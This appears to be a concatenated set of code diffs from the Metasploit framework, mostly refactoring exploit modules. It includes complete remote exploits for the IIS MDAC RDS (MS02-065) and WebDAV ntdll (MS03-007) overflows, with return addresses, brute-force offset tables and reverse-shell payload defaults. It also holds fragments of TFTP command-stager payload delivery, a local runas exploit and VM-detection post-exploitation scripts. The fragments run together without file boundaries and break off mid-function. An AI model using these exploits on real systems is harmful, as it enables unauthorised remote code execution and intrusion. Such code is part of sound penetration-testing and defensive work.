include Msf::Exploit::Remote::HttpClient
def initialize
def initialize(info = {})
super(
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
update_info(
info,
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
'Description' => %q{
This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
@@ -19,78 +21,79 @@ class MetasploitModule < Msf::Exploit::Remote
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
},
'Author' => 'aushack',
'Platform' => 'win',
'References' =>
[
},
'Author' => 'aushack',
'Platform' => 'win',
'Arch' => [ARCH_X86],
'References' => [
['OSVDB', '14502'],
['BID', '6214'],
['CVE', '2002-1142'],
['MSB', 'MS02-065'],
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
'StackAdjustment' => -3500,
'Privileged' => false,
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp',
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
},
'Targets' =>
[
# aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
[ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
'Targets' => [
# jmp eax ws2help.dll
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 20 2002'
'DefaultTarget' => 0,
'DisclosureDate' => '2002-11-02',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
])
register_options([
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
])
end
def check
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH']),
'method' => 'GET',
})
if (res and res.code == 200)
print_status("Server responded with HTTP #{res.code} OK")
if (res.body =~ /Content-Type: application\/x-varg/)
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
Exploit::CheckCode::Detected
end
else
Exploit::CheckCode::Safe
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown('HTTP server error') if res.code == 500
return CheckCode::Safe('Access Forbidden') if res.code == 403
if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
end
CheckCode::Safe
end
def exploit
sploit = rand_text_alphanumeric(136)
sploit[24,2] = Rex::Arch::X86.jmp_short(117)
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
sploit << [target['Ret']].pack('V')
sploit << payload.encoded
data = 'Content-Type: ' + sploit
res = send_request_raw({
'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'),
'headers' =>
{
'Content-Length' => data.length,
},
'method' => 'POST',
'data' => data,
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
'method' => 'POST',
'data' => "Content-Type: #{sploit}"
})
handler
end
end
@@ -9,37 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against any service pack.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2003-0109'],
[ 'OSVDB', '4467'],
[ 'BID', '7116'],
[ 'MSB', 'MS03-007']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
super(
update_info(
info,
'Name' => 'MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow',
'Description' => %q{
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against SP0 to SP3.
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic Brute Force', { } ],
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2003-0109'],
['OSVDB', '4467'],
['BID', '7116'],
['PACKETSTORM', '30939'],
['MSB', 'MS03-007']
],
'DisclosureDate' => '2003-05-30',
'DefaultTarget' => 0))
'Privileged' => false,
'Payload' => {
'Space' => 512,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Targets' => [
[ 'Automatic Brute Force', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2003-05-30',
'DefaultTarget' => 0
)
)
register_evasion_options(
[
@@ -48,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
# XXX - ugh, there has to be a better way to remove entries from an
# enum that overwriting the evalable enum option
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none','hex-normal'], 'none'])
OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'none', ['none', 'hex-normal'], 'none'])
], self.class
)
@@ -61,125 +72,222 @@ class MetasploitModule < Msf::Exploit::Remote
# back to 80 for automated exploitation
rport = datastore['RPORT'].to_i
if ( rport == 139 or rport == 445 )
rport = 80
if (rport == 139 || rport == 445)
datastore['RPORT'] = 80
end
true
end
def check
url = 'x' * 65535
xml =
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
return CheckCode::Safe('Connection failed') unless res
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
response = send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
'uri' => "/#{'x' * 65535}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
if (response and response.body =~ /Server Error\(exception/)
vprint_status("We've hit a server error (exception)")
return Exploit::CheckCode::Vulnerable
if response && response.body.to_s.include?('Server Error(exception')
return CheckCode::Vulnerable("We've hit a server error (exception)")
end
# Did the server stop acceping requests?
# Request-URI Too Long
if response && response.code == 414
return CheckCode::Safe("The server returned #{response.code} (#{response.message})")
end
# Did the server stop accepting requests?
begin
send_request_raw({'uri' => '/'}, 5)
rescue
vprint_status("The server stopped accepting requests")
return Exploit::CheckCode::Vulnerable
send_request_raw({ 'uri' => '/' }, 5)
rescue StandardError
return CheckCode::Appears('The server stopped accepting requests') unless res
end
return Exploit::CheckCode::Safe
CheckCode::Safe
end
def exploit
# verify the service is running up front
send_request_raw({'uri' => '/'}, 5)
# Verify the service is running first
res = send_request_raw({ 'uri' => '/' }, 5)
fail_with(Failure::Unreachable, 'Connection failed') unless res
# The targets in the most likely order they will work
targets =
[
# Almost Targetted :)
"\x4f\x4e", # =SP3
"\x41\x42", # ~SP0 ~SP2
"\x41\x43", # ~SP1, ~SP2
# Generic Bruteforce
"\x41\xc1",
"\x41\xc3",
"\x41\xc9",
"\x41\xca",
"\x41\xcb",
"\x41\xcc",
"\x41\xcd",
"\x41\xce",
"\x41\xcf",
"\x41\xd0",
# Common offsets
common_offsets = [
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
]
xml =
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" +
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"
# Generic Bruteforce - Windows 2000 Professional
pro_offsets = [
"\x41\xa8", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xa9", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xaa", # Windows 2000 Professional (SP1 EN / SP2 FR / SP2 PT)
"\x41\xab", # Windows 2000 Professional (SP1 AR)
"\x41\xac", # Windows 2000 Professional (SP0 FI)
"\x41\xad", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xae", # Windows 2000 Professional (SP0 FI / SP0 TR / SP1 CZ)
"\x41\xaf",
"\x41\xb0",
"\x41\xb1", # Windows 2000 Professional (SP0 EN)
"\x41\xb2", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 EN / SP2 EN / SP2 PT)
"\x41\xb3", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 FR / SP2 PT)
"\x41\xb4", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP1 EN / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb5", # Windows 2000 Professional (SP0 EN / SP0 NL / SP1 AR / SP2 EN / SP2 FR / SP2 PT)
"\x41\xb6", # Windows 2000 Professional (SP0 NL / SP1 AR / SP2 FR / SP2 PT)
"\x41\xb7", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP1 AR / SP1 CZ / SP2 FR)
"\x41\xb8", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 FR / SP2 PT)
"\x41\xb9", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 AR / SP2 FR / SP2 PT)
"\x41\xba", # Windows 2000 Professional (SP0 EN / SP0 FI / SP0 TR / SP2 FR)
"\x41\xbb", # Windows 2000 Professional (SP0 FI / SP0 NL / SP0 TR / SP1 CZ / SP2 PT)
"\x41\xbc", # Windows 2000 Professional (SP0 FI / SP1 AR / SP2 FR)
"\x41\xbd", # Windows 2000 Professional (SP0 FI / SP0 TR)
"\x41\xbe", # Windows 2000 Professional (SP0 TR)
"\x41\xbf", # Windows 2000 Professional (SP0 FI)
]
# Generic Bruteforce - Windows 2000 Server
server_offsets = [
"\x4f\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x4f\xc4", # Windows 2000 Server (SP2 EN)
"\x4f\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x4f\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x4f\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x4f\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
"\x4f\xc9", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP0 TR / SP1 EN / SP2 EN)
"\x4f\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x4f\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP0 TR)
"\x4f\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x4f\xcf", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 EN / SP2 EN)
"\x4f\x40",
"\x4f\x41",
"\x4f\x42", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x4f\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x4f\x44",
"\x4f\x45",
"\x4f\x46",
"\x4f\x47", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR)
"\x4f\x48",
"\x4f\x49",
"\x4f\x4a",
"\x4f\x4b",
"\x4f\x4c",
"\x4f\x4d",
"\x4f\x4e", # Windows 2000 Server / Professional (SP3 Universal(?) + some Server SP0/SP1/SP2)
"\x4f\x4f",
"\x41\x40",
"\x41\x41",
"\x41\x42", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\x43", # Windows 2000 Server (SP1 EN / SP2 EN / SP2 RU)
"\x41\x44",
"\x41\x45",
"\x41\x46",
"\x41\x47", # Windows 2000 Server (SP0 ES / SP0 HU)
"\x41\x48", # Windows 2000 Server (SP1 SE)
"\x41\x49",
"\x41\x4a",
"\x41\x4b",
"\x41\x4c",
"\x41\x4d",
"\x41\x4e",
"\x41\x4f",
"\x41\xc0", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT)
"\x41\xc1", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc2", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xc3", # Windows 2000 Server (SP1 EN / SP2 EN)
"\x41\xc4", # Windows 2000 Server (SP2 EN)
"\x41\xc5", # Windows 2000 Server (SP0 ES / SP0 TR)
"\x41\xc6", # Windows 2000 Server (SP0 ES / SP0 TR / SP1 SE)
"\x41\xc7", # Windows 2000 Server (SP0 ES / SP0 HU / SP0 TR / SP1 SE)
"\x41\xc8", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 SE)
"\x41\xc9", # Windows 2000 Server (SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xca", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcb", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 FR / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP2 EN)
"\x41\xcc", # Windows 2000 Server (SP0 DE / SP1 EN / SP2 EN)
"\x41\xcd", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 IT / SP0 HU / SP0 NL / SP0 PT / SP0 TR)
"\x41\xce", # Windows 2000 Server (SP0 DE / SP0 EN / SP0 ES / SP0 FR / SP0 HU / SP0 IT / SP0 NL / SP0 PT / SP1 EN / SP1 SE / SP2 EN)
"\x41\xcf", # Windows 2000 Server (SP0 DE / SP0 ES / SP0 NL / SP0 TR / SP1 EN / SP1 SE / SP2 EN)
]
if datastore['InvalidSearchRequest']
xml = rand_text(rand(1024) + 32)
xml = rand_text(32..1056)
else
xml = "<?xml version=\"1.0\"?>\r\n"
xml << "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
xml << "<g:sql>\r\n"
xml << "Select \"DAV:displayname\" from scope()\r\n"
xml << "</g:sql>\r\n"
xml << "</g:searchrequest>\r\n"
end
# The nop generator can be cpu-intensive for large buffers, so we use a static sled of 'A'
# This decodes to "inc ecx"
url = 'A' * (65_516 - payload.encoded.length)
url << payload.encoded
url = 'A' * 65516
url[ url.length - payload.encoded.length, payload.encoded.length ] = payload.encoded
offsets = common_offsets.concat(server_offsets).concat(pro_offsets).uniq
targets.each { |ret|
print_status("Trying return address 0x%.8x..." % Rex::Text.to_unicode(ret).unpack('V')[0])
url[ 283, 2 ] = ret
offsets.each_with_index do |ret, index|
print_status("Trying return address #{format('0x%.8x', Rex::Text.to_unicode(ret).unpack('V*').first)} (#{index + 1} / #{offsets.length})...")
url[283, 2] = ret
begin
send_request_cgi({
'uri' => '/' + url,
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
'uri' => "/#{url}",
'ctype' => 'text/xml',
'method' => 'SEARCH',
'data' => xml
}, 5)
handler
rescue => e
rescue StandardError => e
print_error("Attempt failed: #{e}")
end
1.upto(8) { |i|
select(nil,nil,nil,0.25)
return if self.session_created?
}
if !service_running?
print_error('Giving up, IIS must have completely crashed')
return
1.upto(8) do |_i|
select(nil, nil, nil, 0.25)
break if session_created?
end
}
break if session_created?
fail_with(Failure::Unreachable, 'Giving up, IIS must have completely crashed') unless service_running?
end
end
# Try connecting to the server up to 20 times, with a two second gap
# This gives the server time to recover after a failed exploit attempt
def service_running?
print_status('Checking if IIS is back up after a failed attempt...')
1.upto(20) {|i|
begin
send_request_raw({'uri' => '/'}, 5)
rescue
print_error("Connection failed (#{i} of 20)...")
select(nil,nil,nil,2)
next
end
return true
}
return false
1.upto(20) do |i|
break if session_created?
return true if send_request_raw({ 'uri' => '/' }, 5)
print_error("Connection failed (#{i} of 20)...")
select(nil, nil, nil, 2)
end
false
end
end
+2 -1
View File
@@ -344,7 +344,8 @@ class MetasploitModule < Msf::Exploit::Remote
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)
# Use the CMD stager to get a payload running
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost, linemax: 1_400, cgifname: exe_fname, noconcat: true })
# Save these file names for later deletion
@exe_cmd_copy = exe_fname
+5 -5
View File
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Runas
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info = {})
super(
@@ -71,12 +72,11 @@ class MetasploitModule < Msf::Exploit::Local
command_line = nil
windir = get_env('windir')
# Select path of executable to run depending the architecture
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X64
application_name = "#{windir}\\SysWOW64\\notepad.exe"
else
application_name = "#{windir}\\System32\\notepad.exe"
unless session.arch == payload.arch.first
fail_with(Failure::BadConfig, 'The payload architecture must match the current session architecture.')
end
# The notepad process to spaw needs to have the same architecture than the payload
application_name = get_notepad_pathname(payload.arch.first, get_env('windir'), sysinfo['Architecture'])
end
pi = create_process_with_logon(domain,
@@ -173,7 +173,8 @@ Processor-Speed=#{processor_speed}
# CmdStagerVBS was tested here as well, however delivery took roughly
# 30 minutes and required sending almost 350 notification messages.
# size constraint requirement for SQLi is: linemax => 393
execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ delay: 1.5, tftphost: tftphost, temp: '%TEMP%\\', flavor: :tftp })
end
def on_new_session(client)
@@ -99,8 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote
method = datastore['METHOD'].downcase
if (method =~ /^cmd/)
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ linemax: 1500, tftphost: tftphost, nodelete: true })
else
# Generate the EXE, this is the same no matter what delivery mechanism we use
exe = generate_payload_exe
@@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit_smb(token)
connect
connect(versions: [1])
client = Rex::Proto::SMB::Client.new(sock)
@@ -153,7 +153,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit_http(token)
connect
connect(versions: [1])
req = "GET / HTTP/1.0\r\n"
req << "Host: #{ datastore['RHOST']}\r\n"
+20 -31
View File
@@ -60,13 +60,14 @@ class MetasploitModule < Msf::Post
return true if registry_getvaldata('HKLM\HARDWARE\DESCRIPTION\System', 'SystemBiosVersion') =~ /vrtual/i
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('VRTUAL')
%w[HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('VRTUAL')
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('VRTUAL')
return true if service_exists?('vmicexchange')
%w[vmicexchange vmicheartbeat vmicshutdown vmicvss].each do |service|
return true if service_exists?(service)
end
key_path = 'HKLM\HARDWARE\DESCRIPTION\System'
system_bios_version = registry_getvaldata(key_path, 'SystemBiosVersion')
@@ -100,7 +101,7 @@ class MetasploitModule < Msf::Post
end
def virtualpc?
%w[vpc-s3 vpcuhub msvmmouf].each do |service|
%w[vpc-s3 vpcbus vpcuhub msvmmouf].each do |service|
return true if service_exists?(service)
end
@@ -128,14 +129,10 @@ class MetasploitModule < Msf::Post
end
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('VBOX__')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('VBOX__')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('VBOX__')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('VBOX__')
end
key_path = 'HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0'
return true if registry_getvaldata(key_path, 'Identifier') =~ /vbox/i
@@ -159,14 +156,10 @@ class MetasploitModule < Msf::Post
end
end
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('Xen')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('Xen')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('Xen')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('Xen')
end
%w[xenevtchn xennet xennet6 xensvc xenvdb].each do |service|
return true if service_exists?(service)
@@ -182,14 +175,10 @@ class MetasploitModule < Msf::Post
key_path = 'HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0'
return true if registry_getvaldata(key_path, 'ProcessorNameString') =~ /qemu/i
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\DSDT')
return true if srvvals && srvvals.include?('BOCHS_')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\FADT')
return true if srvvals && srvvals.include?('BOCHS_')
srvvals = registry_enumkeys('HKLM\HARDWARE\ACPI\RSDT')
return true if srvvals && srvvals.include?('BOCHS_')
%w[HKLM\HARDWARE\ACPI\DSDT HKLM\HARDWARE\ACPI\FADT HKLM\HARDWARE\ACPI\RSDT].each do |key|
srvvals = registry_enumkeys(key)
return true if srvvals && srvvals.include?('BOCHS_')
end
false
end
-359
View File
@@ -1,359 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##
# Meterpreter script for detecting if target host is a Virtual Machine
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
# Version: 0.2.0
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine")
print_line("USAGE: run checkvm")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
}
# Function for detecting if it is a Hyper-V VM
def hypervchk(session)
begin
vm = false
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ)
sfmsvals = key.enum_key
if sfmsvals.include?("Hyper-V")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif sfmsvals.include?("VirtualMachine")
print_status("This is a Hyper-V Virtual Machine")
vm = true
end
key.close
rescue
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vmicheartbeat")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicvss")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicshutdown")
print_status("This is a Hyper-V Virtual Machine")
vm = true
elsif srvvals.include?("vmicexchange")
print_status("This is a Hyper-V Virtual Machine")
vm = true
end
rescue
end
end
return vm
end
# Function for checking if it is a VMware VM
def vmwarechk(session)
vm = false
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("vmdebug")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("vmmouse")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("VMTools")
print_status("This is a VMware Virtual Machine")
vm = true
elsif srvvals.include?("VMMEMCTL")
print_status("This is a VMware Virtual Machine")
vm = true
end
key.close
rescue
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /vmware/
print_status("This is a VMware Virtual Machine")
vm = true
end
rescue
end
end
if not vm
vmwareprocs = [
"vmwareuser.exe",
"vmwaretray.exe"
]
vmwareprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a VMware Virtual Machine") if not vm
vm = true
end
end
end
end
key.close
return vm
end
# Function for checking if it is a Virtual PC VM
def checkvrtlpc(session)
vm = false
vpcprocs = [
"vmusrvc.exe",
"vmsrvc.exe"
]
vpcprocs.each do |p|
session.sys.process.get_processes().each do |x|
if p == (x['name'].downcase)
print_status("This is a VirtualPC Virtual Machine") if not vm
vm = true
end
end
end
if not vm
begin
